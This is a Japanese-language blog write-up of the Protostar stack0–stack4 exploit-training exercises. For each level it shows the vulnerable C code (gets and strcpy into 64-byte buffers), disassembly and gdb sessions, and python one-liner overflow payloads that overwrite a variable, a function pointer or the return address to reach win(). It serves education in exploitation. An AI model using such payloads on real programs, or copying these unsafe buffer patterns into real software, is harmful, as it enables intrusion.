Exploit Exercises Protostar stack0-4 writeup
Exploit ExercisesのProtostarのstack0-4のwriteup
stack0
Protostar Stack0 - Exploit Exercises
問題のコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
printf("you have changed the 'modified' variable\n");を実行すればいいっぽい。
$ objdump -M intel -d stack0 ... 80483fd: mov DWORD PTR [esp+0x5c],0x0 // modified = 0; 8048405: lea eax,[esp+0x1c] // esp+0x1c が buffer[64] 8048409: mov DWORD PTR [esp],eax 804840c: call 804830c <gets@plt>
modifiedが esp+0x5c にbuffer[64]がesp+0x1cにあるのが分かる。
bufferに0x40バイトの値をいれるだけ。
$ python -c "print 'A'*65" | ./stack0 you have changed the 'modified' variable
asm見るほどの問題ではなかった。
stack1
Protostar Stack1 - Exploit Exercises
問題のコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
printf("you have correctly got the variable to the right value\n");を実行すればいいっぽい。
$ objdump -M intel -d stack1 ... 8048487: mov DWORD PTR [esp+0x5c],0x0 // modified = 0; 804848f: mov eax,DWORD PTR [ebp+0xc] 8048492: add eax,0x4 8048495: mov eax,DWORD PTR [eax] 8048497: mov DWORD PTR [esp+0x4],eax 804849b: lea eax,[esp+0x1c] // esp+0x1c が buffer[64] 804849f: mov DWORD PTR [esp],eax 80484a2: call 8048368 <strcpy@plt>
buffer[64]をoverflowさせて、modifiedに0x61626364、つまりabcdをいれればよい。
ただしリトルエンディアンなので注意。
$ ./stack1 `python -c "print 'A'*64+'dcba'"` you have correctly got the variable to the right value
asm見るほどの問題ではなかった。
stack2
Protostar Stack2 - Exploit Exercises
問題のコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
printf("you have correctly modified the variable\n");を実行すればいいっぽい。
$ objdump -M intel -d stack2 ... 80484a4: call 804837c <getenv@plt> 80484a9: mov DWORD PTR [esp+0x5c],eax // variable = getenv("GREENIE"); ... 80484c8: mov DWORD PTR [esp+0x58],0x0 // modified = 0; ... 80484d8: lea eax,[esp+0x18] // buffer[64] 80484dc: mov DWORD PTR [esp],eax 80484df: call 804839c <strcpy@plt> 80484e4: mov eax,DWORD PTR [esp+0x58] 80484e8: cmp eax,0xd0a0d0a // if(modified == 0x0d0a0d0a) {
variableがbuffer[64]にstrcpyによって入る。buffer[64]をoverflowさせてmodifiedに0x0d0a0d0aをいれる。
$ GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'` $ ./stack2 you have correctly modified the variable
asm見るほどの問題ではなかった。
stack3
Protostar Stack3 - Exploit Exercises
問題のコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
win()を実行すればいいっぽい。
$ objdump -M intel -d stack3 ... 8048441: mov DWORD PTR [esp+0x5c],0x0 // fp = 0; 8048449: lea eax,[esp+0x1c] // buffer[64]; 804844d: mov DWORD PTR [esp],eax 8048450: call 8048330 <gets@plt>
bufferをoverflowさせて、fpにwinのアドレスをいれる。
$ objdump -d stack3 | grep 'win' 08048424 <win>: $ python -c 'print "A" * 64 + "\x24\x84\x04\x08"' | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
asm見るほどの問題ではなかった。
stack4
Protostar Stack4 - Exploit Exercises
問題のコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
win()を実行すればいいっぽい。
eipをgdbで書き換えれば実行できる。
$ gdb -q stack4 Reading symbols from /opt/protostar/bin/stack4...done. (gdb) break main Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15. (gdb) run Starting program: /opt/protostar/bin/stack4 Breakpoint 1, main (argc=1, argv=0xbffffd14) at stack4/stack4.c:15 15 stack4/stack4.c: No such file or directory. in stack4/stack4.c (gdb) set $eip = 0x080483f4 (gdb) c Continuing. code flow successfully changed Program received signal SIGILL, Illegal instruction. 0xb7fd7ffd in ?? () from /lib/libc.so.6
まあ、stack overflowさせて、リターンアドレスをwin()のアドレスに書き換えるのが正攻法だと思うので、それも試してみる。
$ gdb -q stack4 Reading symbols from /opt/protostar/bin/stack4...done. (gdb) disas main Dump of assembler code for function main: 0x08048408 <main+0>: push %ebp 0x08048409 <main+1>: mov %esp,%ebp 0x0804840b <main+3>: and $0xfffffff0,%esp 0x0804840e <main+6>: sub $0x50,%esp 0x08048411 <main+9>: lea 0x10(%esp),%eax 0x08048415 <main+13>: mov %eax,(%esp) 0x08048418 <main+16>: call 0x804830c <gets@plt> 0x0804841d <main+21>: leave 0x0804841e <main+22>: ret End of assembler dump. (gdb) break *main+21 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16. (gdb) run Starting program: /opt/protostar/bin/stack4 aaaaaaaaaaaa Breakpoint 1, main (argc=1, argv=0xbffffd14) at stack4/stack4.c:16 16 stack4/stack4.c: No such file or directory. in stack4/stack4.c (gdb) x/2x $ebp 0xbffffc68: 0xbffffce8 0xb7eadc76 // ebp, return address (gdb) x/24x $esp 0xbffffc10: 0xbffffc20 0xb7ec6165 0xbffffc28 0xb7eada75 0xbffffc20: 0x61616161 0x61616161 0x61616161 0x08048200 0xbffffc30: 0xb7ff1040 0x080495ec 0xbffffc68 0x08048449 0xbffffc40: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffc68 0xbffffc50: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4 0xbffffc60: 0x08048430 0x00000000 0xbffffce8 0xb7eadc76
0xbffffc20からgets()で取った文字列が入るのが分かる。0xbffffc6cにリターンアドレスがあるので、overflowさせてwin()のアドレスに書き換える。
win()のアドレスを調べる。
$ objdump -d /opt/protostar/bin/stack4 | grep win 080483f4 <win>:
あとは、やるだけ。
$ python -c 'print "a"*76 + "\xf4\x83\x04\x08"' | ./stack4 code flow successfully changed Segmentation fault
教科書どおりの stack overflow ですね。